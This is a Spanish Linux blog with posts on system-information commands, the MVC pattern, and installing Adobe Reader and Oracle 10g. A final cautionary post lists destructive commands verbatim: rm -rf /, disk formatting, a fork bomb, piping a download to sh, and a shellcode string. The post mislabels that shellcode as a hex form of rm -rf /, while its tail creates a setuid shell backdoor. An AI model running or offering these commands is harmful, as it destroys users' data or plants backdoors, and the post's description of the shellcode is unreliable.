sábado, 13 de diciembre de 2008

Informacion del Sistema en Linux

Sistemas basados en GNU/Linux (Al igual que sus parientes basados en Unix como BSD o los de Macinstosh) conservan la tradición de tener multitud de comandos que permiten conocer el estado del sistema. Es decir, cada uno da pequeñas piezas de información sobre multitud de partes diferentes de lo que esta sucediendo en tu sistema Linux. Algunos de estos comandos pueden ser ejecutados por cualquier usuario y otros varios solo por root. En esta ocasión te presento, sin ningún orden en específico, una recopilación de los más útiles y usados de estos comandos.
  • uname
    Imprime información del sistema
    agentdavid@Alienware:~$ uname -r
    2.6.27-10-generic
    agentdavid@Alienware:~$ uname -a
    Linux Alienware 2.6.27-10-generic #1 SMP Fri Nov 21 12:00:22 UTC 2008 i686 GNU/Linux
    agentdavid@Alienware:~$

  • fdisk
    Permite manipular/crear particiones en Linux, pero tiene una interesante opción de consulta, -l:

    agentdavid@Alienware:~$ fdisk -l

    Disk /dev/sda: 160.0 GB, 160041885696 bytes
    255 heads, 63 sectors/track, 19457 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes
    Disk identifier: 0x0002ecbc

    Device Boot Start End Blocks Id System
    /dev/sda1 * 1 63 506016 83 Linux
    /dev/sda2 64 10261 81915435 83 Linux
    /dev/sda3 10262 18929 69625710 83 Linux
    /dev/sda4 18930 19457 4241160 5 Extended
    /dev/sda5 18930 19457 4241128+ 82 Linux swap / Solaris

    Disk /dev/sdb: 40.0 GB, 40007761920 bytes
    255 heads, 63 sectors/track, 4864 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes
    Disk identifier: 0x000063b0

    Device Boot Start End Blocks Id System
    /dev/sdb1 1 4863 39062016 c W95 FAT32 (LBA)

    Podemos observar en este listado varios aspectos muy útiles, primero que tenemos dos dispositivos conectados al sistema, /dev/sda y /dev/sdb, los dos son discos duros, el primero es el propio del equipo y tiene varias particiones, incluso determinamos cual es la partición de arranque que es /dev/sda1. El segundo dispositivo contiene una partición Windows como podemos ver en la columna 'System' del último renglón 'W95 FAT32', que indiscutiblemente es de Windows, no es una memoria flash por el tamaño (Disk /dev/sdb: 40.0 GB) mostrado. Asi que se trata de un disco duro externo.

  • free
    ¿Sientes tu sistema demasiado lento?, comienza checando con free que despliega como se encuentra de saturada la memoria física RAM y la de la partición SWAP.


    total used free shared buffers cached
    Mem: 2063268 966572 1096696 0 27836 509908
    -/+ buffers/cache: 428828 1634440
    Swap: 497972 0 497972
    agentdavid@Alienware:~$
    La línea 'Mem:' es la memoría fisica RAM, que en este ejemplo tiene 2 GB de los cuáles se están usando 989 megas, bastante razonable todavía, la línea 'Swap:' muestra la partición de swap (lo que en Windows se le conoce como archivo de intercambio), que generalmente se establece al doble de la RAM y que idealmente no debe estar usada, como el ejemplo lo muestra. Cuando tu línea Swap muestra demasiado uso y casi nada libre, tienes serios problemas de rendimiento, considera entonces en incrementar tu RAM. Prueba con free -mt para ver una línea más al final con la suma de las dos Mem + Swap.

  • lsmod
    Muestra el status de los módulos del kernel actualmente cargados en el sistema.


    Module Size Used by
    ipv6 263972 10
    af_packet 25728 2
    i915 38144 2
    drm 86056 3 i915
    binfmt_misc 16904 1
    ppdev 15620 0
    container 11520 0
    pci_slot 12552 0
    sbs 19464 0
    sbshc 13440 1 sbs
    wmi 14504 0
    acpi_cpufreq 15500 0
    cpufreq_powersave 9856 2
    cpufreq_ondemand 14988 0

    .......... (La lista aun sigue...)
  • lspci
    Lista los dispositivos PCI del sistema.


    00:00.0 Host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03)
    00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03)
    00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)
    00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller (rev 02)
    00:1c.0 PCI bridge: Intel Corporation 82801G (ICH7 Family) PCI Express Port 1 (rev 02)
    00:1c.1 PCI bridge: Intel Corporation 82801G (ICH7 Family) PCI Express Port 2 (rev 02)
    00:1d.0 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #1 (rev 02)
    00:1d.1 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #2 (rev 02)
    00:1d.2 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #3 (rev 02)
    00:1d.3 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #4 (rev 02)
    00:1d.7 USB Controller: Intel Corporation 82801G (ICH7 Family) USB2 EHCI Controller (rev 02)
    00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev e2)
    00:1f.0 ISA bridge: Intel Corporation 82801GBM (ICH7-M) LPC Interface Bridge (rev 02)
    00:1f.1 IDE interface: Intel Corporation 82801G (ICH7 Family) IDE Controller (rev 02)
    00:1f.2 IDE interface: Intel Corporation 82801GBM/GHM (ICH7 Family) SATA IDE Controller (rev 02)
    00:1f.3 SMBus: Intel Corporation 82801G (ICH7 Family) SMBus Controller (rev 02)
    02:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection (rev 02)
    05:07.0 CardBus bridge: Texas Instruments PCIxx12 Cardbus Controller
    05:07.1 FireWire (IEEE 1394): Texas Instruments PCIxx12 OHCI Compliant IEEE 1394 Host Controller
    05:07.2 Mass storage controller: Texas Instruments 5-in-1 Multimedia Card Reader (SD/MMC/MS/MS PRO/xD)
    05:07.3 SD Host controller: Texas Instruments PCIxx12 SDA Standard Compliant SD Host Controller
    05:0b.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8169 Gigabit Ethernet (rev 10)
  • lsusb
    Lista los dispositivos usb del sistema.


    Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
    Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
    Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
    Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
    Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  • df
    Reporta el uso de espacio en los discos duros.

    agentdavid@Alienware:~$ df
    S.ficheros Bloques de 1K Usado Dispon Uso% Montado en
    /dev/sda5 9843276 4081848 5261408 44% /
    tmpfs 1031632 0 1031632 0% /lib/init/rw
    varrun 1031632 108 1031524 1% /var/run
    varlock 1031632 0 1031632 0% /var/lock
    udev 1031632 2756 1028876 1% /dev
    tmpfs 1031632 232 1031400 1% /dev/shm
    lrm 1031632 2000 1029632 1% /lib/modules/2.6.27-10-generic/volatile
    /dev/sda1 67648684 34771872 32876812 52% /media/Area51
Saludos...

domingo, 30 de noviembre de 2008

Acerca de la arquitectura MVC


El Modelo Vista Controlador (MVC) es un patrón de arquitectura de software que separa los datos de una aplicación, la interfaz de usuario, y la lógica de control en tres componentes distintos.
El patrón MVC se ve frecuentemente en aplicaciones web, donde la vista es la página HTML y el código que provee de datos dinámicos a la página; el modelo es el Sistema de Gestión de Base de Datos y la Lógica de negocio; y el controlador es el responsable de recibir los eventos de entrada desde la vista.

pero veamoslo mas a detalle:

  • Modelo: Esta es la representación específica de la información con la cual el sistema opera. La lógica de datos asegura la integridad de estos y permite derivar nuevos datos; por ejemplo, no permitiendo comprar un número de unidades negativo, calculando si hoy es el cumpleaños del usuario o los totales, impuestos o importes en un carrito de la compra.
  • Vista: Este presenta el modelo en un formato adecuado para interactuar, usualmente la interfaz de usuario.
  • Controlador: Este responde a eventos, usualmente acciones del usuario e invoca cambios en el modelo y probablemente en la vista.

Muchos sistemas informáticos utilizan un Sistema de Gestión de Base de Datos para gestionar los datos. En MVC corresponde al modelo.

Aunque se pueden encontrar diferentes implementaciones de MVC, el flujo que sigue el control generalmente es el siguiente:

1. El usuario interactúa con la interfaz de usuario de alguna forma (por ejemplo, el usuario pulsa un botón, enlace)

2. El controlador recibe (por parte de los objetos de la interfaz-vista) la notificación de la acción solicitada por el usuario. El controlador gestiona el evento que llega, frecuentemente a través de un gestor de eventos (handler) o callback.

3. El controlador accede al modelo, actualizándolo, posiblemente modificándolo de forma adecuada a la acción solicitada por el usuario (por ejemplo, el controlador actualiza el carro de la compra del usuario). Los controladores complejos están a menudo estructurados usando un patrón de comando que encapsula las acciones y simplifica su extensión.

4. El controlador delega a los objetos de la vista la tarea de desplegar la interfaz de usuario. La vista obtiene sus datos del modelo para generar la interfaz apropiada para el usuario donde se refleja los cambios en el modelo (por ejemplo, produce un listado del contenido del carro de la compra). El modelo no debe tener conocimiento directo sobre la vista. Sin embargo, el patrón de observador puede ser utilizado para proveer cierta indirección entre el modelo y la vista, permitiendo al modelo notificar a los interesados de cualquier cambio. Un objeto vista puede registrarse con el modelo y esperar a los cambios, pero aun así el modelo en sí mismo sigue sin saber nada de la vista. El controlador no pasa objetos de dominio (el modelo) a la vista aunque puede dar la orden a la vista para que se actualice. Nota: En algunas implementaciones la vista no tiene acceso directo al modelo, dejando que el controlador envíe los datos del modelo a la vista.

5. La interfaz de usuario espera nuevas interacciones del usuario, comenzando el ciclo nuevamente.

Saludos...

Instalar Adobe Reader 8.1.3 en Ubuntu 8.10


En linux existen excelentes visores de documentos PDF, pero si eres de los que quieres disfrutar de la lectura de ficheros PDF, utilizando este clasico programa, ahora es muy sencillo, ya que existe en extencion .DEB:

descargar Adobe con extension .DEB


Encontraras el programa en el menu:

Aplicaciones > Oficina.

Si no usas Ubuntu o Debian, puedes probar a descargar una version para tu distribucion en :

Ver lista de descargas Adobe reader para otras distribuciones
Saludos.

Instalando Oracle 10g Enterprise en Ubuntu 8.10



La versión Express de Oracle 10g si que viene con soporte directo para Ubuntu, pero si por alguna mágica razón necesitas instalar la Enterprise, que solo viene con soporte oficial para Red Hat, SUSE y Oracle Linux.

Vamos a instalar la versión 10.2.0.1.0, así que la puedes ir bajando y desempacando que pesa casi 700MB.

El instalador espera que los binarios de basename y awk esten en /bin y no en /usr/bin, asi que crearemos unos soft links.

sudo ln -s /usr/bin/basename /bin/basename
sudo ln -s /usr/bin/awk /bin/awk

SUSE y Red Hat utilizan el grupo nobody para el usuario nobody, pero los sistemas basados en Debian utilizan el grupo nogroup. Así que creamos el nuevo grupo.

sudo addgroup nobody

Ahora podemos correr el instalador gráfico, pero con un parámetro indicándole que ignore los pre-requisitos, sino detectara que estas utilizando una distribución no soportada oficialmente y cancelara la instalación. Si evitas instalar la base de datos desde este punto y solo instalar las herramientas la instalación durara mucho menos, pero si el tiempo no es problema para ti, créala de una vez y así te ahorras crear el listener y la base de datos manualmente.

./runInstaller -ignoresysprereqs

Al finalizar la instalación, el instalador te pedirá instalar un archivo de bash como root, ejecútalo con sudo tal cual te lo muestra y no tendrás problemas.

Probablemente tengas problemas con librerías faltantes, entonces es muy recomendable incluir las librerías que trae oracle y así te evitas estar compilandolas. Ademas de ejecutarla una vez puedes meterla a tu archivo .bashrc y que se cargue automáticamente cuando inicies sesión.

export LD_LIBRARY_PATH=/path/de/tu/instalacion/lib/

En mi caso también me dio problemas por una librería faltante llamada libaio, pero sin problemas se instala porque se encuentra también en los repositorios de ubuntu.

sudo aptitude install libaio-dev

Listo! Ya tienes una instalación funcional de Oracle 10g Enterprise.

Ojo, que Oracle no te instalara los menús de accesos directos a la diferentes aplicaciones, pero aún asi tienes todo dentro del directorio /bin. Por mencionar algunos comandos útiles:

Para administrar (crear, borrar, editar) listeners y otras herramientas de red, como conectarte a una base de datos externa:

netca

Para administrar tus bases de datos (crear, borrar, etc):

dbca

Para iniciar o parar el database control:

emctl start dbconsole
emctl stop dbconsole

Para iniciar o parar el servicio web de iSQL*Plus:

isqlplusctl start
isqlplusctl stop

Para iniciar o parar listeners:

lsnrctl start
lsnrctl stop

Para entrar a la consola de SQL*Plus

sqlplus

Espero les sea de utilidad, Saludos.

Informaci
ón basada en La guia de Taw's

jueves, 27 de noviembre de 2008

Comandos peligrosos en linux

Lo siguiente es meramente informativo, tengan cuidado en ejecutar los siguientes comando, ya que pueden afectar seriamente su sistema operativo linux e incluso formatearlo y perder datos. :)

1. Codigo: rm -rf /
Este poderoso comando borra todos los archivos de nuestro directorio raiz “/”.
rm es igual a Remove
-rf borra de manera recursiva

2. Codigo:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la version hexadecimal de [rm-rf /] que pueden engañar incluso los no experimentados usuarios de GNU/Linux.

3. Codigo: mkfs.ext3 /dev/sda

Esto reformatea todos los archivos del dispositivo que se menciona después de que el comando mkfs.

4. Codigo: :(){:|:&};:

Conocida como bomba fork, este comando ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.

5. Codigo: any_command > /dev/sda

Este comando provoca perdida total de datos, en la particion que se menciona en el comando

6. Codigo: wgethttp://some_untrusted_source -O- | sh

Nunca descargar fuentes no confiables y que a continuacion se ejecuten, pueden ser codigos maliciosos

7. Codigo: mv/home/yourhomedirectory/* /dev/null

Este comando mover todos los archivos de tu directorio home a un lugar que no existe, nunca veras tus archivos de nuevo

Saludos